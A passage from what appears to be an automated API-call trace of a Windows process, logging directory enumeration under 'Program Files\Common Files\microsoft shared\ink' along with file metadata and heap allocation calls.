out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0276.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0276.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0276.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0276.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0276.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0276.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0276.097] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0276.097] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0276.097] GetProcessHeap () returned 0xaf0000 [0276.097] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3656248 | out: hHeap=0xaf0000) returned 1 [0276.097] GetProcessHeap () returned 0xaf0000 [0276.097] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3656248 [0276.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.098] GetProcessHeap () returned 0xaf0000 [0276.098] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.099] GetProcessHeap () returned 0xaf0000 [0276.099] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.099] GetProcessHeap () returned 0xaf0000 [0276.099] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.099] GetProcessHeap () returned 0xaf0000 [0276.099] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.099] GetProcessHeap () returned 0xaf0000 [0276.099] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.099] GetProcessHeap () returned 0xaf0000 [0276.099] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.100] GetProcessHeap () returned 0xaf0000 [0276.100] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.100] GetProcessHeap () returned 0xaf0000 [0276.100] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.100] GetProcessHeap () returned 0xaf0000 [0276.100] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.100] GetProcessHeap () returned 0xaf0000 [0276.100] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.100] GetProcessHeap () returned 0xaf0000 [0276.100] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.106] GetProcessHeap () returned 0xaf0000 [0276.106] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.106] GetProcessHeap () returned 0xaf0000 [0276.106] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.107] GetProcessHeap () returned 0xaf0000 [0276.107] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.107] GetProcessHeap () returned 0xaf0000 [0276.107] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03108 [0276.107] GetProcessHeap () returned 0xaf0000 [0276.107] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.107] GetProcessHeap () returned 0xaf0000 [0276.107] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.108] GetProcessHeap () returned 0xaf0000 [0276.108] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.108] GetProcessHeap () returned 0xaf0000 [0276.108] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.108] GetProcessHeap () returned 0xaf0000 [0276.108] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.108] GetProcessHeap () returned 0xaf0000 [0276.108] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.109] GetProcessHeap () returned 0xaf0000 [0276.109] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.109] GetProcessHeap () returned 0xaf0000 [0276.109] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.109] GetProcessHeap () returned 0xaf0000 [0276.109] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.109] GetProcessHeap () returned 0xaf0000 [0276.109] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.110] GetProcessHeap () returned 0xaf0000 [0276.110] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.110] GetProcessHeap () returned 0xaf0000 [0276.110] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0276.110] GetProcessHeap () returned 0xaf0000 [0276.110] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.110] GetProcessHeap () returned 0xaf0000 [0276.110] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.110] GetProcessHeap () returned 0xaf0000 [0276.110] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3678268 [0276.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ae, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.111] GetProcessHeap () returned 0xaf0000 [0276.111] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3678268 | out: hHeap=0xaf0000) returned 1 [0276.111] GetProcessHeap () returned 0xaf0000 [0276.111] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3678268 [0276.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ae, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.112] GetProcessHeap () returned 0xaf0000 [0276.112] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3678268 | out: hHeap=0xaf0000) returned 1 [0276.112] GetProcessHeap () returned 0xaf0000 [0276.112] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3678268 [0276.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ae, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.112] GetProcessHeap () returned 0xaf0000 [0276.112] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3678268 | out: hHeap=0xaf0000) returned 1 [0276.112] GetProcessHeap () returned 0xaf0000 [0276.112] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3678268 [0276.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ae, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.113] GetProcessHeap () returned 0xaf0000 [0276.113] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3678268 | out: hHeap=0xaf0000) returned 1 [0276.113] GetProcessHeap () returned 0xaf0000 [0276.113] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3678268 [0276.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ae, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.113] GetProcessHeap () returned 0xaf0000 [0276.113] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3678268 | out: hHeap=0xaf0000) returned 1 [0276.113] GetProcessHeap () returned 0xaf0000 [0276.113] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3678268 [0276.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ae, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.114] GetProcessHeap () returned 0xaf0000 [0276.114] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3678268 | out: hHeap=0xaf0000) returned 1 [0276.114] GetProcessHeap () returned 0xaf0000 [0276.114] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3678268 [0276.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 